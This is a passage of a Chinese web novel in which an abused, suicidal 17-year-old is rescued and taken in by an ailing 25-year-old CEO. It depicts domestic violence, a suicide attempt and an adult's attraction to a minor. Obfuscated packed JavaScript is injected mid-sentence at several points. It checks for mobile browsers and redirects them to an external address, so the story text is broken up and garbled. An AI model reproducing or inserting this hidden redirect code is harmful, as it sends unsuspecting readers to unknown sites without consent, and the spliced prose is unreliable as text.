《回笼》 3. 朋友 秦南深皱眉，拿出自己的名片递给他：“手机号就是我的微信，有什么困难可以告诉我，你救了我一命，我欠你个人情。” 温昭阳接过名片，扫了眼重要信息。 秦南深。CEO 赢珠珠宝集团有限公司 电话和邮箱还有地址都有，竟然是珠宝集团的首席执行官，赢珠是最有名气的珠宝店，连锁店在江城有几百家，太强了吧。 秦南深也大大方方的介绍自己：“我是赢珠的设计师，今年二十五岁，去年才升职的CEO，我更喜欢设计产品，你呢，多大了？” 温昭阳小声回答：“十七。” “咳咳……确实像学生，小我八岁……看来我还是老了。” 秦南深捂住胸口咳嗽了两声。 温昭阳：“您看起来很年轻，也很有气质。” 医护人员提醒道：“秦先生，您先休息片刻，不要再说话，您的心跳频率不是很稳，心绞痛很有可能会二次发作。” “好……” 温昭阳坐在旁边说：“别怕，我会陪你的。” 秦南深笑了笑，目光落在男孩脸上，打量了很久，这么善良的小朋友，会有什么心事呢。 身上的伤，看起来不像是打架，应该只是单纯的挨打，否则不会伤这么重。 …… 医院。 秦南深做了个检查，结果还没出来的时候，他让温昭阳也去做了个检查，让护士安排消炎药。 “医药费算我这里。” 温昭阳做完检查后，医生说他胃部有点创伤，所以才会坠疼，这周只能吃流食，慢慢恢复，不能剧烈运动，然后开了点药。 秦南深的结果比较糟糕。 温昭阳打完针，已经是中午，秦南深的检查结果才出来。 “你是他家人吗？” 温昭阳站在病房门口，摇了摇头回答：“路人。” 医生只能走到病房，亲自告诉秦南深说：“秦医生，您身体的状况比较糟糕。” “您看这里，心肌的厚度被挤压，纤维化范围扩大，影响到正常的心室空间，所以会喘气困难，频繁发生心绞痛，稍微用力就可能出问题，一定不能剧烈运动，不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126705|180087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生气。” “咱们的建议是做心脏移植手术，但是匹配供体比较困难，您现在每周定期来体检，暂时留院观察两天。” “嗯。” 秦南深神情很平淡。 温昭阳听后，站在旁边不知所措，医生走了后，他才问。 “你不告诉家里人吗？” 秦南深无奈扬起唇笑：“等我病入药膏，快死的时候再说吧，免得他们来为我奔波，我妈年龄大了，不想让她每天伤心难过。” “可是……” 秦南深说：“谢谢你肯过来陪我，如果有一天我死了，麻烦你告诉我母亲。我走的不痛苦，也很开心，让她不要太难过。” 温昭阳担忧道：“……你没有其他朋友吗？” 秦南深摇了摇头。 他是个GAY，以前有朋友，但是知道他是同性恋后，觉得很恶心，之后再也没交过朋友。 “怎么会……” 温昭阳疑惑不解。 秦南深盯着他，试探性问道：“温昭阳……你愿意做我朋友吗？” “什么？我们才刚认识……” 4. 礼物 “我看你很有眼缘。” 秦南深拿出手机说：“要不然，先加个微信？” 温昭阳摇头，“不用……” 他对这个世界没有任何眷恋，不希望多一个人伤心。 就在这时，秦南深的助理走过来，把手里的药瓶递给他：“秦总，弄到了。” 秦南深接过药瓶，递给温昭阳说：“你要的安眠药，记得少吃一点，吃多了对身体不好。” “谢谢。” 温昭阳接过药瓶，低头看向标签，轻轻鞠了一躬：“既然你助理来了，他可以照顾你，那我走了。” 秦南深本来想挽留，但是没有任何借口，欲言又止，只能看着他离开。 “林助理，帮我去买个小熊的娃娃，大一点的。” 林助理：“啊？” 秦南深低头喃喃自语：“他出现在阳光便利店门口……应该是上班的必经之路，还有机会遇到他，这种未成年小孩，送金银珠宝肯定不喜欢，你觉得送娃娃怎么样？” “呃……” 林助理抹了抹额头的冷汗，“秦总，人家还是个未成年孩子……” 送娃娃也太直男了。 秦南深瞥了眼他：“我没有其他意思，单纯的想和他交朋友，帮助他。这孩子家庭不简单，他身上的伤全是被抽的，还有肚子被踢过，所以胃部有创伤。要么是被混混殴打，要么被家里父母打，既然已经遇到，不能坐视不管。” “而且，他还没读大学，就要自己打暑假工挣钱，不在家好好复习，应该也有难言之隐。” “他救了我一命，我要还这个人情。” 林助理冲他竖大拇指，不愧是他最敬佩的男人。 “您先好好修养身体，我去跟踪调查一下。” …… 夜晚。 温昭阳下班后回到家，已经是七点多，这段时间身上有伤，不能上夜班兼职，只能早点回来。 他来到阳台，徘徊片刻后，突然打开鸟笼，金丝雀抬头望着他。 “叽叽——” 温昭阳摸了摸它羽毛，温柔说道：“不是总喜欢跑出来吗？走吧，飞向自由。” “叽叽——” 金丝雀探出脑袋，啄了啄他的手，又跑到笼子里，低头吃面包虫，完全不想飞走。 温昭阳以为他想吃饱了再走，就没有关门。 秋秋和落落这个月也送到外婆家玩，家里清净许多，卫生间的门突然打开，赵功林从里面出来，擦拭着头发，目光瞥了眼客厅的男孩。 “你去医院了？” 温昭阳：“嗯。” 赵功林走过来，看向他茶几上面的药，皱眉说：“这得好几百吧？又买些什么乱七八糟的药？” “是胃药……今天做了个检查，医生说我的胃有轻微创伤，所以开了点药……” 赵功林低头沉思，想起上次喝多了，连着对他肚子踹了好几脚。 “阳阳，姑父那天喝多了，但是你能把这件事隐瞒下来，我知道你是个好孩子。” 赵功林坐在他身边拍了拍他肩膀，笑着问：“所以你手上现在还剩多少钱？” “体检没花钱……在路上救了个人，他帮我出了医药费，还没还给他。” 温昭阳下意识缩了缩脖子，上次挨打后有心理阴影。 “救人？你还真不怕被人碰瓷，阳阳，听话点，把工资交出来，等你上学后，我给你交学费。” 赵功林现在手头紧，只想骗点钱过来。 温昭阳还是摇头。 嘭—— 赵功林气得踹倒旁边的桌子，指着他骂道：“你真是个白眼狼！秋秋和落落的学费还需要筹钱，咱们工厂生意难做，你为什么不肯帮一下你妹妹？” “姑父……您是工厂经理，贪污都拿了不少钱，是又在玩炒股吧？能把自己玩到身无分文，不就是在炒股吗？你就不能少喝点酒、少抽烟、戒了炒股，家里条件也不至于这样……” 赵功林惊讶地看着他，没想到养他十几年，现在过来谴责自己？ “温昭阳，你胆儿现在越来越肥了啊，你信不信我和你姑姑离婚，把你们扫地出门，谁来养你们四个人？？” 温昭阳听到这话沉默了。 赵功林狠狠地拍了下他脑袋。 就在这时，笼子里的金丝雀突然飞出来，直奔客厅，落在赵功林的肩膀上，狠狠地啄他脖子。 “叽！” “叽叽！！” “操！你这臭鸟，滚开，滚开——” 金丝雀在空中来回扑腾，飞来飞去，又冲过来啄他脑袋，赵功林气得拿起扫把，到处追着它打。 “啾啾……” 温昭阳没想到动物这么有灵性，小鸟竟然还知道保护他。 “啾啾！回来！” 温昭阳担心它受伤，伸出手呼喊。 赵功林的扫把还在挥舞，脖子被啄了好几个洞，疼得他用力把扫把甩出去，恰好砸到金丝雀，小鸟叽叽叫了两声掉在地上。 “啾啾！” 温昭阳迅速跑过去把它捧在怀里。 “妈的！！” 赵功林捂住流血的脖子，气得想过去把那只鸟踩死，但是温昭阳死死护着。 “不要，不要……姑父，我求求你，放过啾啾，它只是一只小鸟……” “晦气！” 赵功林照着他的后背狠狠踹了几脚出气，就赶紧跑到房间找止血药和创口贴。 “叽——” 金丝雀啄了啄主人，扑腾了两下翅膀，好在只是掉了一根羽毛，还能飞，没什么大碍。 “我看看，受伤没有。” 温昭阳把金黄的小鸟捧在掌心，按压了几个地方，啾啾都没有叫，只是被打掉了羽毛。 金丝雀低头，飞过去把自己的羽毛叼着，又飞回来，放在温昭阳手里。 羽毛是小鸟最重要的东西，表达对主人的爱和信任。 温昭阳双眼泛红，眼泪瞬间溢出来，他一瘸一拐地走到窗户面前，将金丝雀放在窗户上。 “啾啾……如果你真的喜欢我，就离开吧……” 温昭阳担心姑父还会伤害它。 金丝雀徘徊了两圈，迟迟不肯离开，站在窗户上面左顾右盼，低头啄了啄自己的羽毛。 “叽——” 窗外突然有一只母喜鹊站在树枝上，它似乎是相中了金丝雀，朝它挥舞翅膀。 啾啾的目光被吸引，瞬间飞了过去，两只小鸟站在树枝上面交头接耳嬉闹。 温昭阳嘴角扬起，解决了一件心事，他托着疲惫的身体回到卧室，拿出那瓶安眠药。 如果他继续活着…… 姑姑和姑父会永无止境的吵架，他会连累这个家，温兰芝白天照顾孩子，晚上还要出去工作，她太辛苦了，或许难过几天，就会忘记他。 温昭阳来到书桌前，写了一封遗书，希望姑姑不要太想念他，他觉得死了才是解脱。 温昭阳抑郁症变得严重，脑海里已经没有那些快乐的时光，情绪低落，也爱胡思乱想，觉得死了才是所有人最满意的结果。 他把安眠药盖子拧开，倒了很多出来。 温昭阳抽泣两声，泪珠砸了下来，低声道：“爸妈……我真的没有勇气活下去了……” 他把安眠药塞进嘴里，准备喝水的时候，突然察觉不对。 安眠药这么好吃嘛？ 甜甜的，中间很脆，嚼了几下之后，他吞入腹中，这种口感，竟然还想再吃点…… 温昭阳愕然地把安眠药倒出来，又吃了几粒，还是嚼了几下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126706|180087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吞下，甜甜的太好吃了。 “这……不是安眠药？” 温昭阳低头打量，迅速拿起手机，找到秦南深的名片，添加他微信。 叮咚—— 秦南深竟然秒通过，男人还在医院，躺在病床上看微信，他扬起嘴角笑，等了这么久，终于加他了。 【秦南深】头像这么黑？ 温昭阳的头像很阴郁，是一张海洋的照片，被他改成了纯黑色滤镜，微信昵称是：【自由】 【温昭阳】：你给我的安眠药，为什么是甜的？ 【秦南深】：我助理家里就是开药店的，他给我拿的，不清楚，可能是新品种吧。 温昭阳疑惑地回消息问：【但是我吃了很多，还是没有睡着】 秦南深表情严肃，果然是他预判的那样，这小朋友想自杀。 秦南深：【这是我给你买的营养钙片，可以补充体力，里面包含多重维生素和蛋白质，喜欢吃的话，我再给你带几瓶，你还这么小，为什么想不开？】 温昭阳低头沉思，看向那瓶安眠药，抬手扣外面的纸，发现有两层，果然是假的。 撕了外面的字样，里面写的是营养钙片，看起来还很贵。 他心里泛起一股暖意，放下手机，也没有回消息，原来，一个陌生人都会关心他。 “叽叽——” 砰砰砰—— 温昭阳听见声音猛地坐起来，赶紧跑到窗外，打开窗户，发现金丝雀在空中扑腾，直接飞进来撞进了他怀里。 “啾啾……你不是走了吗？” 金丝雀听不懂人话，但是它知道，这是它的主人，它是被他养大的，放出去的鸟儿，还会回笼。 温昭阳的心也该回笼了。 三天后。 温昭阳下班后，从公交站下车，往家里走，低头滑开屏幕的手机，还在盘算怎么才能赚更多钱。 嘭—— “唔。” 温昭阳撞到一个结实的胸膛，他捂住额头，低头弯腰道歉：“对不起……” 一只毛茸茸的小熊突然出现在面前，温昭阳愣住，大概有一米五，抱在怀里都很大一只。 秦南深的脑袋从侧边冒出来，问：“喜欢吗？” “你……” 温昭阳的脸瞬间红透，“这给我的？” “嗯，小朋友不是都喜欢玩偶吗？” 秦南深是个直男，没谈过恋爱，不知道送什么。 温昭阳接过小熊，羞耻地低头：“这太幼稚了……你怎么在这里？什么时候出院的？” “昨天出院，助理找到你的行踪，我才在这等你。” 秦南深微微扬起嘴角：“上次谢谢你，医生说如果没有及时稳住情绪，情况更严重，多亏有你。” “没事……” 温昭阳看了眼小熊，问：“我把上次的医药费转给你，是多少来着？这个熊，我不能随便收你的礼物。” “你觉得CEO缺这点钱？我只是想哄你开心，和你交朋友。” 秦南深拉住他的手，走到自己的宝马汽车旁边，把里面的箱子搬出来递给他。 “这是一箱营养钙片，好像是六瓶，你太瘦，体质也差，每天吃两三颗，可以补充营养。” 温昭阳急忙推脱：“不行不行……这太贵重了，很贵的……” 秦南深愁眉苦脸：“报恩的机会都不给啊……真难过，上次医生说，如果我生气，可能活不了多久。” 温昭阳犹豫不决，又怕他真生气，只能把这些东西收下。 “那……谢谢你。” 秦南深低头摸了摸他脑袋：“咱们现在可以做朋友吗？微信都聊了好几天了。” 温昭阳迟钝地点了下头。 “好……” 5.离家 “谢谢你。” 秦南深也礼貌地挑挑眉：“不客气。” 两人在小区旁边的公园里散步，开开心心地聊了几句，温昭阳发现和他说话很开心，这人语气温和，不管讲什么都很礼貌。 “诶，你吃什么长大的啊，比我高一个头。” “我啊，被我爷爷拔高的。” 秦南深说。 温昭阳噗嗤笑出声，抱着怀里的小熊娃娃疑惑问：“拔高？怎么拔？” 秦南深无奈笑了笑：“小时候村里有个老奶奶迷信，说每天把身体往上拔一拔，能长高，我爷爷就照做，每天把我身体拉一拉，然后我就长得很高……” 其实就是基因遗传。 “哈哈哈——” 温昭阳忍不住大笑起来，他从来没这么开心过，没听说过人还能被拔高，这是哪里的迷信。 秦南深愣神，痴迷的眼神看着他阳光可爱的笑容，抬手摸了摸他脑袋：“阳阳，你笑起来真好看。” 温昭阳刹那间脸红，低声说：“我们没认识多久，你就这样喊……很不习惯。” “抱歉。” 秦南深立马颔首道：“那我还是继续喊你温先生吗？” “不用不用。” 温昭阳立马摇头，搂紧怀里的娃娃说：“随便怎么喊，反正咱们以后都是朋友，和你聊天很开心，时候不早了，我要回家咯。” “嗯，我送你。” 秦南深说。 …… 温昭阳被送到小区楼下，秦南深打开后备箱，把营养钙片放在他怀里，男孩双手抱着箱子，娃娃被搁在肩膀上，他开心地笑道：“再见，谢谢你送这么多礼物给我，我很喜欢。” 等他以后赚到钱了，也要给秦南深回礼。 秦南深温柔笑了笑：“没事，快回去吧，营养钙片每天两三粒，也不能吃太多，不许再研究怎么买安眠药。” 温昭阳扬起唇点点头：“好。” 秦南深看到他离去的背影，深深地叹了口气，这么好看的小男孩，倒是符合他的口味。 只不过，他是GAY这件事，始终不敢开口，生怕又被人厌恶，所以从未谈过恋爱。 他很想找个男朋友，彼此陪伴一生，但是这副苟延残喘的身体，也不想拖累别人。 - 温昭阳回到家，把东西放门口，单手开门，然后搬进来，姑姑还没有下班，妹妹有时候在同学家住，经常空荡荡的。 身后突然传来冷嗖嗖的声音：“怎么现在才回来？我今天忘记拿钥匙，在楼上坐了几个小时了！” 温昭阳扭头，看见赵功林从外面进来，难怪家里安静，他胆怯地退后了两步：“姑父……我和朋友在外面逛了一会儿，所以回来晚了。” 赵功林走进来，坐在沙发上说：“今天谈了笔生意，合作方老板有个女儿，我瞧着不错。那丫头说喜欢长得很帅的，我看你长相可以，给了你的照片，她很喜欢，明天我把你带过去，认识认识。” 温昭阳眉头拧紧：“姑父！您怎么能擅自把我的照片给别人……我还未成年，不想谈朋友，再说……我还要读书，现在哪能和别人相亲。” 赵功林冷哼：“读书？你要是能傍上人家白富美，咱们家少奋斗多少年？这女孩还是个硕士，你赶紧给我把握好机会！” “硕士？” 温昭阳难以置信地抬头：“我才多大！她毕业后都能结婚了……我不相亲，不想谈朋友。” 赵功林瞬间来气，但是想到老板那女儿今天瞧见温昭阳的照片，两眼放光的表情，那老板好多公司，家里都是开的豪车。 “阳阳，你真是糊涂啊，人家能看上你，已经是你的福气，也就大你七八岁，找个姐姐宠着你，以后享不尽的福，怎么就不听劝呢？” 温昭阳倔强道：“我不喜欢，您没有权利干涉我的婚姻。” 赵功林气得站起来，走过来的时候，才看见他身后的箱子和娃娃，又问：“这是你买的？” “不是……我朋友送的。” 温昭阳说。 赵功林沉思半天，朋友怎么会送这种布偶娃娃？这都是小女孩喜欢的东西，他瞪着眼问：“你谈女朋友了？” “都说了不是！就普通朋友，上班地方认识的，他知道我喜欢这种可爱的东西，正好家里多，就拿给我了。” 温昭阳说完把毛茸茸的小熊抱起来，迅速跑到房间藏起来，生怕被发现扔了。 赵功林站在门口，打开箱子，看见里面的营养钙片，他做生意的，认识很多品牌，这个英文字母，是国外进口营养品，这是处了什么朋友？ “温昭阳，你朋友是男的女的？” 温昭阳坐在房间整理书桌：“您问这个干什么。” 赵功林突然走进来，揪住他耳朵，斥责吼道：“温昭阳！！你不会在外面鬼混吧！这些礼物不像是女孩送你的，男人送的？” “我没有鬼混——” 温昭阳捂住耳朵，眼眶红道：“男孩之间就不能有友谊吗？为什么您的思想这么龌龊？” 赵功林听到这话，反手就给了他一耳光。 啪—— “你怎么和老子说话！” 温昭阳摔倒在地上捂住脸，他的心再次跌落山谷，男人在身后骂骂咧咧：“让你不去读书，不听。让你去相亲，也不听。老子给你安排这么多好事，都拒绝，赚的钱也不舍得交出来，温昭阳，你到底是谁养大的？如果不是我给钱养你们，你能活到现在？？” 温昭阳趴在地上不说话。 赵功林气得从衣柜里把他的小熊拿出来，准备从阳台扔下去。 温昭阳急忙抱住他的腿：“姑父！我求你了！这是我朋友送给我的，我很喜欢，您别扔……给秋秋和落落玩也可以，不要扔了……” 赵功林气得浑身发抖，扬手又是一记耳光甩在他脸上，跟着抓起书桌上的课本，劈头盖脸就往他脸上扇去。 男人性格暴躁，以前没打得这么厉害，是想着，把温昭阳养大后，他就能去上班，给家里挣钱供应生活。 结果这孩子根本不听话，还在外面鬼混，赚钱也从来都不给他。 就在这时，温昭阳的手机铃声响起，响了很久也没人接。 赵功林揪住他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16164065|180087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头发说，边说道：“你读书，我可以接受，也不用去赚钱了，但是，明天你必须给我去相亲，我已经答应了老板的女儿，她还在等你消息，别给我丢脸！！” 温昭阳捂住脑袋不说话。 电话铃声响了一下又一下。 赵功林抓住他衣领问：“哑巴了？说话！” 温昭阳拼命摇头抗拒，男人的脚又狠狠踹在他腹部，他只能狼狈地用手护住疼痛的身体。 这时，他心底翻涌着一股狠劲，想去厨房摸把刀，干脆利落杀了男人。 可念头刚起就被压了下去。 那样的话，他会蹲大牢，秋秋和落落就成了没爹的孩子，姑姑还会被赵家那群亲戚刁难算计。 原来他现在，已经落在了无处可逃的地方，什么也做不了，只剩下无边的绝望。 嘭—— 门外突然传来一声巨响。 赵功林愣住，他停下手，出来的时候，看见有两个陌生西装男人，竟然拆了他家里的门。 “你们谁啊！” 两个保镖站在前面，身后有个西装革履的男人穿着皮鞋走进来，他拿着手机，径直往卧室走去，果然看见温昭阳趴在地上奄奄一息。 “温昭阳！！” 秦南深迅速跑过来，把地上的男孩扶起来，看见他红肿的脸，还有额头的磕伤，瞬间明白了他之前的伤是哪里来的。 温昭阳看见他后，慌张地低头，抬手捂住脸上的伤，仿佛不想让外人看见自己狼狈的模样。 “这地方不能待了。” 秦南深将他抱起来说：“别怕，你救了我一命，让我还这个人情吧。” 温昭阳推开他摇头，眼泪不争气地掉下来，泪水滴在了脸颊擦伤的位置，疼得他哆嗦。 “阳阳，你想被打死吗？我们不是朋友吗？” 秦南深问。 “啊啊啊——” 外面突然传来男人的尖叫声，两个保镖已经动手把赵功林按在地上揍。 温昭阳捂住耳朵不说话。 “那我抱你了。” 秦南深伸手环住他腰身，将人横抱起来，太轻了，这孩子都没有长肉，都是骨头。 温昭阳脸红挣扎道：“不……影响不好……” 秦南深低头看向他，说了声抱歉，执意要带他走。 他们出来的时候，赵功林还在骂：“温昭阳！你果然在外面和男人鬼混！你这个变态！我要报警——” 秦南深看向两个保镖说：“让他报警，找律师举证，说他家暴。” 保镖：“是。” 赵功林瞬间哑口无声，看着男人威风凛凛的模样，怕他有家庭背景，立马求饶道：“别别别……别报警……我不能坐牢……” 秦南深没有搭理他，让另一个人把小熊玩偶和东西都拿上，他要带温昭阳离开这个地狱的家。 温昭阳看向阳台说：“我……我还有一只小鸟……” 保镖听后，很有眼力劲儿，立马把金丝雀拿过来。 “啾——” 笼子里的金丝雀扑腾了下翅膀，似乎很开心离开这个鬼地方。 6.温馨 秦南深的车就停在小区楼下，驾驶座上的助理抬头时，正看见他抱着人走过来。 男孩脸上伤痕交错，肩膀控制不住地微微发颤，额角磕破了皮，睫毛被泪水染湿，看着格外惹人怜惜。 林助理：“这是怎么了……” 秦南深打开车内的医药箱，拿出酒精帮他擦拭脸上的伤说：“刚刚突然想起来，想约你有时间吃饭，结果打了四五个电话都没人接，我又想起你之前身上的伤，就觉得不对劲。” 温昭阳垂着头：“谢谢……” “为什么不还手？” 秦南深问。 温昭阳眼神黯然无光，因为那是他长辈，是养他长大的人，其次，他已经对生活失去希望，如果被打死，也是一种解脱。 “温昭阳，你是个好男孩，不能这样颓废，知道吗？” 秦南深明白他心里想什么，低声温柔说。 温昭阳看向窗外，发现有个女人提着东西往家里走，他立马说：“是我姑姑回来了！你让你的保镖停手，别打他了……万一打死了，你还要坐牢。” 秦南深拿出手机，拨通了电话。 温昭阳打开车门，一瘸一拐地往前跑，慌张喊道：“姑姑！！” 温兰芝刚下班，手里还提着菜，女人听到熟悉的声音，转身看见男孩跑过来，险些摔倒。 她急忙扶住温昭阳，看向他脸上的伤：“阳阳……你怎么了？” 秦南深也跟了过来，礼貌低头打招呼：“阿姨好。” “您好。” 温兰芝抬眼打量了他一下，男人举止斯文，也很有世家公子哥的礼貌，身上的西服和腕间的手表，一看便价值不菲。 温昭阳小声介绍：“姑姑……这是我朋友，他叫秦南深，我这个月不回家了，住在打暑假工的地方，开学后住宿舍，和您说一声。” 温兰芝关心问道：“怎么回事？这位先生看起来很有钱，你什么时候交过这样的朋友啊？” 温昭阳垂着脑袋，眼看瞒不住，就把最近发生的事都告诉了她。 温兰芝刹那间脸色阴沉，难怪上次就觉得孩子不对劲，锁在房间不肯出来，现在竟然吓得他连家都不敢待。 “阳阳……” 温兰芝捂住眼睛，泪水从指缝滑了出来，她哽咽着嗓子，抬手掀开男孩的衣服，看见他腰间被踢出来的淤青，旧的、新的、还有被皮带抽过的痕迹。 “姑姑对不起你。” 温兰芝抱住他，哭道：“我恨不得杀了他，但是……他是孩子的父亲，会给秋秋和落落留下阴影，姑姑没办法护着你……” 温昭阳摇头：“没事。” “姑姑，我已经好了……” 温兰芝看见秦南深后，又低头说：“秦先生，谢谢你救了阳阳。” 秦南深温柔回道：“没事，我上次心脏病发作，很多路人袖手旁观，差点心脏停止，也是他救了我。” 温昭阳现在肯定不能住家里，早晚都会见面，赵功林每天逼迫他，迟早会被打死，只能和姑姑打了个招呼，温兰芝也让他走了。 那天，温兰芝回到家，就和赵功林提出了离婚。 … 天色越来越晚，温昭阳坐在车上眼神无助，他暑假工的地方不包吃住，住酒店也没有钱，不知道要去哪里，所以也不敢出声。 秦南深的家很远，温昭阳心里越来越不安，只是见义勇为救了他一命，这男人就这么好，送他礼物、救他、请他吃饭。 难道…… 温昭阳想到赵功林的话，又看向秦南深，他忐忑地问：“秦先生……您性取向正常吗？” “嗯？” 秦南深看了他一眼。 林助理尴尬咳嗽两声。 温昭阳往角落里躲了躲，他突然想起来，现在社会有很多GAY，之前有个新闻，男孩夜不归宿，在外面被两个男人XX，他突然害怕起来。 秦南深如果是同性恋。 他岂不是很危险？？ 秦南深突然回答：“抱歉，没想到这么明显，第一次见到你的时候，确实有点心动。你又救了我的命，说喜欢算不上，有点好感。” 他大大方方的承认。 温昭阳惊恐瞪大眼睛，慌张地看向窗外：“我……我要回家……” 秦南深说：“你不能再回去，那个男人是你姑父？如果不是我一层层的找到房号，你身体又会受内伤。” 温昭阳前段时间胃部被踢出内伤，吃东西都会呕吐，今天又挨打，如果不是秦南深出现，明天肯定会进医院。 他害怕地低头：“可是……我不是同性恋……” “我知道，放心吧，我不会伤害你的。” 秦南深拍了拍他脑袋，温柔说：“还是个未成年小朋友，我怎么可能伤害你？你觉得我像坏人？我长得也没这么畜生吧。” 温昭阳又看向他俊俏的五官，这倒是，男人长得很和蔼可亲，又很善良温柔的样子。 “你是对我一见钟情吗？” 秦南深思虑过后说：“有点吧……” 温昭阳呆呆地看着他：“电视里说，一见钟情的都是见色起意。” 秦南深：“……” 人长得可爱乖巧，嘴倒是会说。 温昭阳立马挥手尴尬道：“抱歉，我不是故意说你的。” 秦南深：“没事，这个玩笑很好笑。” 温昭阳恨不得从车窗跳下去，空气中都充满了尴尬。 秦南深看他红透的耳朵，又问道：“你很排斥同性恋吗？抱歉，我不是故意隐瞒你的，是怕吓到你。” “没有没有……” 温昭阳挥了挥手说：“每个人的喜好不同，我们应该尊重对方，在这个世上，喜欢谁是你的权利，为自己而活，不要活在别人的眼光里。” 秦南深愣神地望向他，第一次听到这么感人的话，不会嫌弃他，也不会被吓跑。 “谢谢你。” “这句话应该我来说，谢谢你收留我……” 温昭阳挠了挠耳朵说。 那一刻，他们成为了真正的好朋友。 温昭阳以为这辈子都不会再有人在乎他的感受。 他抑郁消沉，徘徊在黑暗的深渊里，永远走不出去，希望早点死亡，去找自己的父母，但是，有人向他伸出了援手。 … 秦南深住在三环外的一栋别墅里，附近有家医院，他说周围交通不怎么方便，就是看病容易，所以才在这买的别墅。 林助理帮忙把温昭阳的东西搬进家里，又问道：“秦总，需不需要回去拿其他东西？” 秦南深看了眼温昭阳。 温昭阳抱着一只小熊，低头说：“不用吧……我也不会长期住在这，就……暂时住一下。” 秦南深说：“不是要住到大一开学吗？不用和我讲客气，毕竟你救过我，我回报你也是应该的。” 温昭阳怀疑他是故意用这个理由，借机和自己相处，救了他一次的人情，早就还了。 秦南深走过来靠近他：“阳阳，你放心，我不会碰你的，你还小，其次……我身体越来越不行，或许只能再活几年，所以我没打算找男朋友，不想害了别人，你把我当哥哥就行，我只想帮助你。” 温昭阳听到这话猛然抬头：“你的病……肯定可以治好的，不要担心。” “但愿吧，医生说过，几率很小。” 秦南深说这话也是心平气和。 温昭阳犹豫良久。 林助理在旁边凑过来笑道：“温先生，你缺什么东西告诉我，我开车跑一趟也很方便。” 温昭阳看了眼秦南深，他现在也无处可去，只能点头答应，又说：“我给你付房租。” 秦南深噗嗤笑出声：“不给自己挣学费了？” 温昭阳羞愧低头，是啊，他想付房租，也没有钱拿出来。 秦南深也不逗他了，来到沙发旁边说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温昭阳摇头，毕竟现在知道了他是同性恋，还对自己有好感，更不能引诱别人，要学会拒绝。 秦南深叹了口气：“即便是我活不久，你也不相信我吗？” “不是！” 温昭阳急忙解释：“是我不想让你误会，以免越陷越深。” 秦南深诚恳地说：“你不让我帮忙，我心里才难受。” 温昭阳：“……好吧，那你来。” 秦南深听后，把药酒涂抹在掌心，掀开男孩的衣服，动作很轻地按压，专心地给他上药。 他皮肤白，这些淤青很显眼，看着就让人心疼。 温昭阳觉得还挺舒服。 秦南深给他涂完药，用温热的毛巾，敷在男孩的脸上，又说：“我住二楼，你住一楼，主卧都自带卫生间。住在这里不用拘束，待会我买点一次性用品，有什么需求，可以来找我。” “好。” 温昭阳从来没住过这么大的别墅，光是一楼主卧，都比他家里的客厅大，男人房间的床很整洁干净，闻起来还有点棉絮味道，应该是才买的。 这天夜里。 秦南深住在二楼。 他住一楼，两人分开隔了很远，温昭阳才安心闭上眼，紧紧抱着怀里的小熊，心里甚至很开心。 秦南深是个正人君子。 他既然喜欢自己，还能克制，这么好的机会，只是分开住，也没有强迫他，这样温柔的人，偏偏生了病。 他们的命运真是老天捉弄人。 一个想活，却得了重病。 一个不想活，却身体健康。 7.在乎 第二天。 八点多，秦南深起床后，洗完脸准备下楼做早餐，却看见桌上有两个包子和纸条。 【我去打暑假工了，包子在对面街上买的，很香，请你吃，感谢你的收留。】 秦南深皱眉，他身上那么多伤，这么急着去打暑假工，到底有多缺钱。男人拿起包子咬了一口，鲜香浓郁，确实好吃，他还挺会找。 林助理进来后，看见他们秦总坐在餐桌前傻笑，拿着包子吃得津津有味。 “秦总，今天要出差，国际珠宝公司要与我们谈合作……” 秦南深突然说：“先去温家。” … 温兰芝最近打了两份工，她有时候上白班，有时候上夜班。 空闲的时候，就在附近的夜市摆摊卖水饺，她年轻时学过厨师，做这些小吃都是非常拿手。 秦南深找了她很久，才在附近小吃街上看见温兰芝，女人正在煮水饺，大热天十二点也没有休息。 林助理站在旁边说：“秦总，我昨天上门咨询了点事，温昭阳从小父母双亡，跟着姑姑生活，家里有两个双胞胎表妹，他姑姑需要做饭、接送孩子上学，所以一直没有上班，现在孩子十岁了，才出来工作。” “赵功林是某个建材工厂的经理，平时爱贪污，所以手上拿了不少钱，结果炒股都花完了。不过这男人知道有孩子，留了点钱养他们，孩子的衣服、学费、生活开支，都是他在出的。” 